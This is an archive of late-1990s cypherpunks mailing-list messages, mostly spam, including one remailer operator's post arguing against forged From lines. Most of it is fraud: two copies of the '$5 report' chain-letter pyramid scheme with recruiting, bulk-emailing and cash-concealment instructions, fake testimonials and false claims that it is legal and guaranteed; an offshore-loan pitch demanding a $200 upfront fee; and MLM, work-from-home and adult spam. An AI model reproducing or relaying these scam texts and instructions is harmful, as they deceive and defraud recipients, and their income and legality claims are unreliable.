IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 USD CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
(International orders should also include $2 USD extra for postage) 
Add you e amil address when sending in for your report this is for updated information and continueing support (optional) that will be handed down by you sponcers.
______________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
A. Siegmund #57
Trakehnenstr. 13
53332 Bornheim, Germany


______________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
J. Maz
15774 S. Lagrange Rd
Suite #312
Orland Pk, IL 60462
USA
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

B. Thompson
13504 Greencaslte ridge Tr.  404
Burtonsville MD. 20866
USA
______________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

MUW #2
PO BOX 71442
SALT LAKE CITY, UT 84171-0442
USA
______________________________________________________
CONCLUSION
.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation. 
                                                                                                                                                                                                                                                                                                                                                                                                                                            





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Fri, 28 Nov 1997 19:28:32 -0800 (PST)
To: (Recipient list suppressed)
Subject: How to overcome the apparent media boycott of Pauline Hanson's new biography
Message-ID: <1.5.4.16.19971129124650.111f2d48@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


Dear One Nation supporter in NSW,

It has come to our attention that the newly released authorised biography of
"Pauline, the Hanson Phenonenon" is apparently not being stocked by major
book sellers in most Australian states.

The big exception to the rule is Queensland where publicity and coverage was
given to the book launch and resulting sales in this state have been
excellent. This media coverage has simply not occured in the other states.

Media monitor show that only "The West Australian" and "The Canberra Times"
covered the book launch or any subsequent publicity of any note.

Reading between the lines News Limited, who dominate the print press, have
totally ignored the book.

We would ask you to contact your local major book seller to make a copy of
the book available in their store, book details as follows:

"Pauline, The Hanson Phenomenon" by Helen Dodd, publishers Boolarong Press,
Queensland ISBN #0646332171.

This action will result in the book being ordered by your local book store
who have the details on how to make orders for the book. If they say they do
not wish to order or stock the book please contact GWB with the details of
the bookstore.

It is important to note that the book store does not pay for the book as it
is on consignment and anything that they do not sell is returned to the
publisher so their is no financial cost to the book store.

We are confident that the book will be sold, based on extraordinary sales in
Queensland, but without the publicity the general public will not be aware
that the book is available. It appears that the mainstream media are
attempting to prevent the book reaching its potential audience Australia wide.

Your assistance in overcoming this apparent act of censorship would be
greatly appreciated.


GWB



Scott Balson.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ed Bell" <ed@junkx.com>
Date: Sun, 30 Nov 1997 15:16:12 -0800 (PST)
Subject: Junk E-Mail Remover software
Message-ID: <19971130231318621.AAJ90@junkx.com>
MIME-Version: 1.0
Content-Type: text/plain



BETA TESTERS NEEDED    visit   http://www.junkx.com   


                                     SOFTWARE TO STOP JUNK E-MAIL

We only read and process mail replies directed to junkx@junkx.com
	
	This is your invitation to become one of approximately 1500 Beta testers 
needed to evaluate out release of Junk E-Mail Remover(c) software.
	The reason you have been selected as a candidate to become a Beta tester 
is because your e-mail address has been found on multiple bulk e-mail list 
being sold commercially on the internet.  Because of the availability of  
programs which will extract e-mail addresses from the internet bulk e-mail 
is becoming a huge problem.  You can use this same leading edge technology 
to protect yourself.
	
	FEATURES OFFERED:

1.     A filter that will use a configurable code word that will absolutely 
filter in only the e-mail you want to read.  All other e-mails will 
automatically go into an unsolicited e-mail folder.
2..    An automatic reply that will (flame) the sender and notice him to 
"REMOVE" you from his list.


YOU RECEIVE THE FOLLOWING:

A.     Beta Junk E-Mail Remover(c) software
B.     The future commercial version absolutely free ( for one year plus 
upgrades)
C.     The right to your e-mail privacy

This is your one time special invitation to eliminate you junk e-mail 
problems forever.  This invitation is not transferable!  you must visit our 
private web site to participate in this program.  Please fill out the 
questionaire to register as a Beta tester.  Make your life simpler today and 
eliminate your e-mail hassles once and for all.

visit  http://www.junkx.com    REGISTER NOW!
Please direct all email inquiries to junkx@junkx.com
A






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: loans@xitau.de
Date: Sun, 30 Nov 1997 10:57:48 -0800 (PST)
To: loans@xitau.de
Subject: Business Loans For You
Message-ID: <199711301856.SAA17500@equinox.unr.edu>
MIME-Version: 1.0
Content-Type: text/plain



Do you need to increase profits in your business?
Do you need venture capital to get you there?
Are you frustrated with your bank turning you down
for the capital your business needs to grow?  Be frustrated
no more.  Zion Worldwide can put you in touch with
hundreds of offshore investors waiting to invest in a
viable business just like yours.

What Is An Offshore Investor?

An offshore investor may be an offshore bank or a group of
offshore lenders looking to invest in and to lend money to
viable business enterprises both in the United States and
elsewhere around the world.

Why Not My Own Bank?

U.S. federal banking law permits American banks to tie up
a lot of their money in overhead expenses and advertising
costs.  Which means that American banks have less money
to lend out to their customers (the ones who gave the banks
their money in the first place!).  Offshore banks, on the other
hand, are required by offshore banking rules and regulations
to lend more of their customer's money to, you guessed it,
their customers.  And groups of offshore lenders (often referred
to as 'conglomerates'), are not necessarily restricted  to the
number or type of businesses that they can invest in, as long
as these businesses are viable and show potential for future growth and profit.

How Do I Take Advantage Of These Offshore Lending Opportunities?

Zion Worldwide works with literally dozens and dozens of offshore banks and conglomerates
across the world to put American businesses in touch with reputable offshore
lenders.  By submitting an offshore loan application to Zion Worldwide, your
businesss automatically becomes eligible for the following types of offshore funding:

Venture Capital Loans, Signature Loans, Equipment Leasing, Cash Grants,
Self Liquidating Loans and a $25,000 Line of Offshore Credit, as well as
offshore corporate credit cards.

How Do I Apply And How Much Does It Cost?

To apply simply write to:

Zion Worldwide
5015 W. Sahara Ave.,
Suite 125,
Las Vegas, NV, 89102.

..and ask for an offshore loan application.  There is a non-refundable
application fee of $200US payable to Zion Worldwide via money order, 
cashier's check, Visa or Mastercard.

Why The $200 Fee?

When you make application for offshore lending opportunities, Zion Worldwide
literally sends your company's loan application to several major funding
institutions around the globe.  The $200US application fee assists our
organization to cover the costs of shipping your loan application documents
around the world.

How Does Zion Worldwide Make Its Money?

When your company's loan application arrives back to our office,
Zion Worldwide receives a brokerage fee from our offshore lenders
for finding them viable businesses to invest in.

Can I Apply?

Any viable business in the US or abroad may make application to
Zion Worldwide in order to receive serious consideration from Zion's
offshore lenders.

Is It Hard To Apply?

Absolutely not.  Simply prepare to provide your company's past earnings
as well as future earnings potential, as well as some documented business
plan and, of course, some basic business details (e.g. your company's name,
address, phone, fax etc.) and you're set.  In fact, we want you to succeed in
securing your loan, because when you succeed, we succeed.

Why Is Zion Worldwide Located In Las Vegas?

Nevada is America's last haven for judgment proof corporations (better than Delaware,
better than Wyoming).  Zion Worldwide strives to take full advantage of all of the
incorporation benefits that the State of Nevada provides.

What's The Catch?

Sometimes interest rates on offshore loans are higher than interests rates on similar
loans in the United States.  However, apply for an offshore loan, then immediately
turn around and expand your business with it, and of course, enjoy the increased
profits your business generates, repay your offshore loan early, and the interest
charged to you on your offshore loan will total no more than the interest on a loan
you can (or can't) get in the US.

AnyThing Else?

Nope, except 'Apply Today'
  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M0Rtgman@hotmail.com
Date: Sun, 30 Nov 1997 18:53:32 -0800 (PST)
To: a0001233@aol.com
Subject: Greetings
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                       Make $300.00  per Day
                          NO MONEY REQUIRED
                        TO GET INTO BUSINESS
                     UP to $24,000.00 Line of Credit

1.  There are NO UPFRONT COSTS.  You will be in business with virtually
no money out of pocket. All you do is complete the distributor's application along with our financing agreement.  Everybody is approved regardless of  Credit.  You will obtain a credit line of up to $24,000 to start your own business.

2.  You as the distributor receive a commission of up to $1,000 - once
someone is approved and financed to become a distributor.  The company
pays commission twice a month.  The commission is paid even before the
buyer makes their first payment.
And this is important.  There are never any charge backs!
 
3.  You, as the distributor can sign up others distributors and receive
bonuses of $400.00 to $800.00 per sale from distributors under you.  The
marketing plan offers a very attractive bonus plan.  By signing up 1 new
distributor, who does the same within a month, and this pattern 
continues with each new person only bringing 1 new distributor, there 
would be more than 4,000 distributors in your organization at the end of 
a year.  Keep in mind that you only brought in 1 person each month.  
If each person in your organization sold only one system per month, your 
income would be more than $,$$$,000 the first year!  What if your 
organization only did 1/3 of that?  Would you be excited?

4.  Your market is virtually unlimited. - in fact,  there is no 
competition at this time.

5.  No Accounting.  The company keeps track of everything for you and
gives access to your account on-line using your personal computer.  
Track orders, shipping, commissions due, etc...
 
6.  The Need.  Virtually EVERYONE has had or will have some type pain.
Back Pain?  Migraines?  Arthritis?   PMS? You name it!!  Everyone needs
this product.

7.  The Company. has spent years  developing this state of this product.
This is a one of a kind company  - no huge investments - no money up
from the buyer and there is NO Competition for this type of product.
 
8.  The Opportunity.  What a great feeling!  We help people feel better and that can do so much for a family's peace of mind.  And whether you 
would like to make an extra $1,000.00 a month or have visions of grandeur, this program can satisfy your needs.  The financial bottom line...  There will be many millionaires made in the next few years.

9.  It only cost $0.00 to become a distributor(includes your inventory) 
and for that you receive  everything you need to get started;  forms, full color brochures, and a video tape telling you about the company, its product and marketing plan.

                      Then Call me!!!
                     1-888-220-9850
             I will get you in business today
              with no money out of your pocket!!

                      IMPORTANT!!!
        Be sure to include your  Name,  Phone Number
          and Fax Number Immediate Response!

 
 Send email to magnets@pemail.net  to be remove from our list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sun, 30 Nov 1997 22:04:13 -0800 (PST)
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <35071a4de8a2c6f6cf77914c7747760d@anonymous.poster>
Message-ID: <v03102802b0a801cade82@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The risks of allowing pasted From: lines far outweigh the benefits. Pasting
of From lines makes remailer operators much more vulnerable to charges of
fostering forgery rather than simple anonymity.

Spam baiting is another obvious risk. Forged postings with deplorable
content will bring down retribution on the forgery victim. Forged From
lines can also be used to subscribe victims to thousands of mailing lists.

The uses of this "feature" can be duplicated with other mechanisms such as
nym-servers, which provide persistent unique From lines without the
possibility of forgery of arbitrary addresses. Users desiring greater
security can simply point the reply capability of the nym server at the
nearest /dev/null.


	-Lance



- ----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
- ----------------------------------------------------------


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JOHN@AOL.COM
Date: Sun, 30 Nov 1997 14:37:26 -0800 (PST)
To: john@AOL.COM
Subject: PLEASE TELL ME WHAT TO DO!
Message-ID: <84125286_85531408>
MIME-Version: 1.0
Content-Type: text/plain



********** FREE ************
********** LIVE ************
********** GIRLS ***********

Tell her whatever you want!

5   F-R-E-E   MINUTES!

Click Here:    http://www.videofantasy.com/livegirls

*********************************************************

       You are definitely not going to believe this!

                 Beautiful GIRLS LIVE FEED!

        You tell them what you want! They do it!

                  5 FREE Minutes! REALLY!

                         R I G H T
                           N O W!

      It's in your Netscape/Explorer/or AOL browser!

      Click Here:    http://www.videofantasy.com/livegirls

                 (You'll be glad you DID!)

********************************************************

WE GIVE AWAY FIVE FREE MINUTES! To Everyone!
http://www.videofantasy.com/livegirls

This is the only adult site supporting live video in
the AOL Web Browser.  Everyone else requires Netscape.
Now you can enjoy live adult entertainment directly
through your AOL version 3.0 Web Browser. We also support
Internet Explorer and Netscape.

FIVE FREE MINUTES of LIVE STEAMY SEX to all new members.

Click Here:  http://www.videofantasy.com/livegirls

No Membership Fees
No Signup Fees
Tell the model what to do and she'll do it!

Also.....

XXX Movies with sound!
Porn Stars!
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..and more!

Come enjoy the fun with one of the oldest, most established adult
sites on the net!  Point your browser to:

Click here:  http://www.videofantasy.com/livegirls

*************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jcamking1@yahoo.com
Date: Wed, 12 Aug 1998 05:28:19 -0700 (PDT)
To: cypher@qnet.com
Subject: Worthwhile Cause Worthwhile Cost !
Message-ID: <199808121226.UAA07114@copper.singnet.com.sg>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:
X-Info:Sent using Zenith Bulk Emailer (FREE)

Our research indicates the following material may be of interest
to you. If you prefer NOT to learn the easy way to make some much
needed income, please, simply delete this letter. To further
insure you do not get email of this nature, there are several
universal "remove" lists you can subscribe to on the internet.
I filter all email addresses that I send to against such a
"remove" list of over 2,000,000 subscribers.

Please accept my apology if this was sent to you in error!

***************************************************************
You are about to make up to $50,000-In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!
***************************************************************
This is the letter that got my attention. Read on and I'm sure
you will agree that this is a great plan!


Dear Friend,

The enclosed information is something I almost let slip through
my Fingers. Fortunately, sometime later I re-read everything and
gave some thought and study to it. Please do the same. It's so
simple to do.

And you won't be left out in the cold to figure it all out yourself.
Look further down in this letter for the information you will
receive from Abot Marketing. They give you 10,000 fresh email
addresses and give you the locations of the best software (FREE
SOFTWARE) to send out large quantities of email. (normally this
kind of software is several hundred dollars) They even give you
easy to understand, proven, step by step instructions for success
with this program. In fact, they helped me get started and I'm
so thankful. It's hard to belive that this as simple as it is,
but it really is SIMPLE. You will even get support from them via
email anytime you need it. You won't get this kind of help from
other programs of this nature. It makes all the difference in the world.


My name is Anne Bowman. I am 31-year-old graduate student desperately
trying to finish my degree and begin working in my chosen field
that is, if I am lucky enough to find a job in the crowded market.
Like most people in this day and age, it is hard to make ends
meet, and being a student does not help the situation at all
(If I ever have to buy one more box of macaroni and cheese I
think I would have to scream). I returned to school after
having worked for several years with little potential for
achieving what I had expected out of life. I figured if I
returned to school and received my Ph.D there would be several
pportunities for me out there to achieve my goals. After seeing
my fellow graduate students receive their degrees and,
depressingly, not find respectable positions in their chosen
field I began to think, "Oh no not again!" Four extra years
in school and an extra $20,000 in student loans on top of the
first $18,000, what will I do if the same happens to me?"
I began to doubt my patience for the long term investment in
schooling, and decided enough was enough, "Why can't I make
real money now instead of waiting to graduate with no guarantee
of a lucrative return for all of my efforts!" I am writing to
share my experience with other hopeful students out there, as
well as ANYONE looking for an pportunity to take their financial
situation into their own hands. I hope you will consider this
opportunity seriously and that this will change your life FOREVER!
., FINANCIALLY!!! And once you get started it takes so little
of your time.

In mid October 97 I received this program. I didn't send for it,or
ask for it, they just got my name off a mailing list. I TOOK THIS
AS A SIGN!!! After reading it several times, to make sure I was
reading it correctly, it made perfect sense. Here was a MONEY-MAKING
PHENOMENON. I could invest as much as I wanted to start (about as
much as it costs for a pizza!), without putting me further in debt.
After I got a pencil and paper and figured it out, I would at least
get my money back. After determining that the program is LEGAL and
NOT A CHAIN LETTER, I decided "I HAVE NOTHING TO LOSE".

Initially I sent 15,000 emails, (without any costs to me) only a couple
of hours of my time on-line. The great thing about email is that I didn't
need any money for printing to send out the program, only the time to
fulfill my orders. There is a vast on-line market available to everyone
who owns a computer. Following the advice of the person from whom I
received
this letter, I am telling you like it is, and I hope it doesn't turn you
off, but I promised myself I would not "rip-off" anyone, no matter how much
money it cost me! After you receive the reports they should explain
everything to you. You may have some general questions, however, and after
I send you REPORT #1 , please feel free to contact me and I will give
you any advice you need.

In one week, I was starting to receive orders for REPORT #1.
By mid November, I had received 40 orders for REPORT #1. When you read the
GUARANTEE in the program you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS
FOR REPORT #1 WITHIN 2 WEEKS IF YOU DON'T SEND OUT MORE PROGRAMS UNTIL YOU
DO!" My first step in making $50,000 in 20 to 90 days was done. By the
beginning of December, I had received 174 orders for REPORT #2. If you go
back to the GUARANTEE. "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS. IF NOT SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE
100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
Well,
I had 174 orders for REPORT #2, 74 more than I needed. So I sat back and
relaxed. By January 20th, of my emailing of 15,000, I received $54,000 with
more coming in ever day. The great thing about this program is you can
begin the process over and over again without any limit on potential
income!

I paid off ALL my student loans, and together with everything I have
learned
in school, I am now saving in order to open up my own business related to
my field as soon as I graduate. Please take time to read the attached
program. IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you
don't try it. This program does work, but you must follow it EXACTLY!
Especially the rules of not trying to place your name in a different place
on the list. It doesn't work, you'll lose out on a lot of money! REPORT #2
explains this. ALWAYS follow the guarantee, 15 to 20 orders of REPORT #1
and 100 or more orders for REPORT #2 and you will make $50,000 or more in
20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!

If you choose not to participate in this program, I'm sorry, It really
is a great opportunity with little cost or risk to you. If you choose
to participate, follow the program and you will be on your way to
financial security.

To my fellow graduate students out there, good luck to you and I
sympathize. And to all other persons in financial trouble consider
this letter a sign and please take advantage of this opportunity.
YOU WON'T BE DISAPPOINTED!


Sincerely,
Anne Bowman

The following testimonial was at the bottom of this letter but it
was too good to leave down there so I moved it up here. It is
exactly how I felt at first and and feel now.

"The first week after I started this program was torture.
I couldnt wait to see if it was really going to work after I mailed
out my first batch of letters. I chuckle every day now when I walk
out of the post office with my envelopes. This is so easy, I still
can't belive it's happenning!" Don Masterson, Troy,NY


$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

>From here down is the instruction portion of this letter...

This is a LEGAL, MONEY-MAKING PHENOMENON. PRINT this letter, read the
directions, THEN READ IT AGAIN !!!

You are about to embark on the most profitable and unique program you may 
ever see. Many times over, it has demonstrated and proven its ability to
generate large amounts of cash. This program is showing fantastic appeal
with a huge and ever-growing on-line population desirous of additional
income.

This is a legitimate, LEGAL, money-making opportunity. It does not require
you to
come in contact with people, do any hard work, and best of all, you never
have to
leave the house, except to get the mail and go to the bank! 

This truly is that lucky break you've been waiting for! Simply follow the
easy
instructions in this letter, and your financial dreams will come true! When
followed
correctly, this electronic, multi-level marketing program works
perfectly...100%
EVERY TIME! 

Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc., 
- Even retire! 

This is your chance, so don't pass it up!

----------------------------------------------------------------------------
------
OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC 
MULTI-LEVEL MARKETING PROGRAM
----------------------------------------------------------------------------
------

Basically, this is what we do:

We send thousands of people a product for $5.00 that costs next to 
nothing to produce and e-mail. As with all multi-level businesses, we
build our business by recruiting new partners and selling our products.
Every state in the U.S. allows you to recruit new multi- level business 
online (via your computer).

The products in this program are a series of four business and financial
reports costing $5.00 each. Each order you receive via "snail mail" will
include:

* $5.00 cash
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer. The $5.00
is yours!
This is the most EASIEST electronic multi-level marketing business
anywhere!

FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!

******* I N S T R U C T I O N S *******

This is what you MUST do:

1. Order all 4 reports shown on the list below (you can't sell them if you
don't order them).

* For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
RETURN POSTAL ADDRESS (in case of a problem) to the person whose 
name appears on the list next to the report.

* When you place your order, make sure you order each of the four
reports. You will need all four reports so that you can save them
on your computer and resell them.

* Within a few days you will receive, via e-mail, each of the four
reports. Save them on your computer so they will be accessible
for you to send to the 1,000's of people who will order them from
you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way other
than is instructed below in steps "a" through "d" or you will lose out
on the majority of your profits. ONCE YOU UNDERSTAND THE WAY THIS
WORKS, YOU WILL UNDERSTAND WHY IT DOESN'T WORK IF YOU CHANGE IT. 
Remember,
this method has been tested, and if you alter it, it will not work.

a. Look below for the listing of available reports.

b. After you've ordered the four reports, replace the name and address
under REPORT #1 with your name and address, moving the one that 
was there down to REPORT #2. 

c. Move the name and address that was under REPORT #2 down to 
REPORT #3. 

d. Move the name and address that was under REPORT #3 down to 
REPORT #4. 

e. The name and address that was under REPORT #4 is removed from
the list and has NO DOUBT collected their 50 grand.

Please make sure you copy everyone's name and address ACCURATELY!!!

3. Take this entire letter, including the modified list of names, and save
it to your computer. Make NO changes to the INSTRUCTION portion of
this letter. 

4. Now you're ready to start an advertising campaign on the
Internet! Advertising on the Internet is very, very
inexpensive, and there are HUNDREDS of FREE places to
advertise, but email has, by far, proven itself to be the best medium
for
this program. And the emailers best friend is e-mail lists.
You can buy these lists for under $20/20,000 addresses or you can pay
someone a minimal charge to take care of the mailing for you. BE SURE
TO START 
YOUR AD CAMPAIGN IMMEDIATELY! Each day that passes while you think
about 
it is a day without profit. 

5. For every $5.00 you receive, all you must do is e-mail them the report
they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE 
ON ALL ORDERS! This will guarantee that the e-mail THEY send out,
with YOUR name and address on it, will be prompt because they can't
advertise until they receive the report!

------------------------------------------
AVAILABLE REPORTS
------------------------------------------
***Order Each REPORT by NUMBER and NAME***

Notes:
- ALWAYS SEND $5 CASH FOR EACH REPORT 
- ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL 
- Make sure the cash is concealed by wrapping it in at least two sheets of
paper 
- On one of those sheets of paper, include: (a) the number & name of the
report you are ordering, (b) your e-mail address, and (c) your postal
address. (using your printer is the best way to do this)
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTILEVEL SALES" 

ORDER REPORT #1 FROM: 
C.M.K.
Block 719 Woodlands Ave 6
#03-632
Singapore 730719 

*****IMPORTANT NOTE*****
- US Dollar currency only please
- Once again, make sure the cash is concealed by wrapping it
in at least "two" sheets of paper 
_________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTILEVEL SALES"

ORDER REPORT #2 FROM: 
Christian S
PO BOX 1092, JKB 11010
INDONESIA
 _________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
J.F.J
P.O. Box 342
McCormick, SC 29835-0342
USA
 _________________________________________________________________
REPORT #4 "EVALUATING MULTILEVEL SALES PLANS"

ORDER REPORT #4 FROM:
Matt G
3801 Brooklyn Ave. NE #A102-1
Seattle, WA 98105 
USA
 
*****IMPORTANT NOTE*****
My personal success is due to sending out emails to prospective
participants, I am happy to help you get started by giving you
10,000 free current email addresses and giving you the location
of several free programs that will allow you to send out large
quantities of e-mail easily. I will email the fresh addresses
and software information to you the same day I receive your
report request. Just jot down "free help please" on the report
request that you send with your $5. In many cases I can take
care of your mailing for you at NO CHARGE. You will receive my
real email address when I send you this report and you can contact
me for any questions you may have. (program participants, you may
leave this offer with my name as I am moved down the list. I will
honor it for the duration of the program. Just move it down, with my 
name, to the next position when you send out your first mailings.) 
_________________________________________________________________


----------------------------------------------------------------------------

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
----------------------------------------------------------------------------


Let's say you decide to start small just to see how well it works. Assume
your goal is to get 10 people to participate on your first level. (Placing
a lot of FREE ads on the Internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 down line
members. Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with$5...................................$50
2nd level--10 members from those 10 ($5 x 100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
THIS TOTALS----------->$55,550

Remember friends, this assumes that the people who participate only
recruit 10 people each. Think for a moment what would happen if they
got 20 people to participate! Most people get 100's of participants! 
THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can
afford $20 for a chance to make $ 55,000). You obviously already have
an Internet connection and e-mail is FREE!!! REPORT# 3 shows you the
most productive methods for bulk e-mailing and purchasing e-mail lists.
Some list & bulk e-mail vendors even work on trade!

About 50,000 new people get online every month!

*******TIPS FOR SUCCESS*******

* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow 
the directions accurately.

* Send for the four reports IMMEDIATELY so you will have them when 
the orders start coming in because:

When you receive a $5 order, you MUST send out the requested
product/report to comply with the U.S. Postal & Lottery Laws, Title
18,Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
also Code of Federal Regs. Vol.. 16, Sections 255 and 436, which
state that "a product or service must be exchanged for money received."

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

* Be patient and persistent with this program. If you follow the 
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:
I CAN'T STRESS ENOUGH HOW IMPORTANT THIS NEXT SECTION IS!!!!

If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue advertising until you do. Then, a couple of weeks later you
should receive at least 10
*** Get The Zen Bulk Emailer FREE - Where To Get it ***
*** FAX/CALL +1 212 2082904 (US) or FAX +44 (01772) 492507 (UK) ***
*** Or Download From FireFox Freeware  ***




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 00291856@unesesames.com
Date: Sun, 2 Nov 1997 14:18:57 -0800 (PST)
To: Friend@public.com
Subject: **We will Pay You to use Your Computer at Home to Set-up New Accts.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



	***** Please Note:  This is NOT a business opportunity. *****

Dear Online Neighbor:

Please read carefully because we are very serious and this offer is 
Very Real.  

	WE WILL PAY YOU TO USE YOUR COMPUTER AT HOME!

If you are seriously interested in making $200.00 to $300.00 per day 
at home answering the phone and processing new accounts for us on 
your computer, then please call us immediately.

Our Number is:  

			1-918-461-8589 *

*Please Note: We Will Reimburse you for the call when you Receive
              Your First Check from us.

We are a Telecommunications Company with the Best Offer of All Time - 
800 Number Service with No Per Minute charges.  AT&T, Sprint, and 
MCI charge between 12 cents and 26 cents per minute.  We charge Zero 
cents per minute.  Our service is offered to each customer at a Low 
Flat Rate per month.  Our customers will no longer have to worry 
about a $200.00, $400.00, $500.00, or more phone bill for 800 number 
service.  Our Low Flat-Rate 800 Number Service is truly the best 
offer available today.

With our Great Service and Product Pricing, we are Extremely Busy.  
We need more Telecommunications Representatives to help us with the 
volume of calls that we receive each day.

By Simply Answering your phone and using your Computer to Set-Up 
New Accounts, you should easily Make $200.00 to $300.00 per day or 
$1,000.00 to $1,500.00 Per Week.

Please call us if you are serious and ready to join a Professional 
Team.

Once again, Our Number is:

			1-918-461-8589 *

*Please Keep in mind that We Will Reimburse You for the call on Your
 First Pay Day!

We will be more than happy to answer any further questions that you may have.
Thank you very much for reading our letter and we hope that you will decide to
become a part of our Winning Team.

**** P.S. PLEASE do not hit "Reply" and send us e-mail as we will NOT get it. ****

It is NOT necessary to send us an e-mail asking to be "removed" from our list as we will
assume that you are not interested if you do not respond to this letter.  We will respect
your wishes by not sending you any further letters in the future.  Best Regards.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Opportunity@cyber-pages.net
Date: Sun, 2 Nov 1997 11:49:05 -0800 (PST)
To: InternetUser@The.Net
Subject: Are you getting loads of $5 orders in your mailbox everyday?  I am!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


I Never Thought I'd Be the One Telling You This:
 I Actually Read a Piece of E-Mail & I'm Going to Europe on the
Proceeds!

 Hello!

 My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use
my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

 About two months ago I received it again and, because of the catchy
subject
line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm
going
to try this.  I can certainly afford to invest $20 and, on the other
hand,
there's nothing wrong with creating a little excess cash."  I promptly
mailed
four $5 bills and, after receiving the reports, paid a friend of mine a
small
fee to send out some e-mail advertisements for me.  After reading the
reports, I also learned how easy it is to bulk e-mail for free! 

 I was not prepared for the results.  Everyday for the last six weeks,
my
P.O. box has been overflowing with $5 bills; many days the excess fills
up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunne
d by all the money that keeps rolling in!

 My husband and I have been saving for several years to make a
substantial
downpayment on a house.  Now, not only are we purchasing a house with
40%
down, we're going to Venice, Italy to celebrate!

 I promise you, if you follow the directions in this e-mail and be
prepared
to eventually set aside about an hour each day to follow up (and count
your
money!), you will make at least as much money as we did.  You don't need
to
be a wiz at the computer, but I'll bet you already are.   If you can
open an
envelope, remove the money, and send an e-mail message, then you're on
your
way to the bank.  Take the time to read this so you'll understand how
easy it
is.  If I can do this, so can you!

 The following is a copy of the e-mail I read:

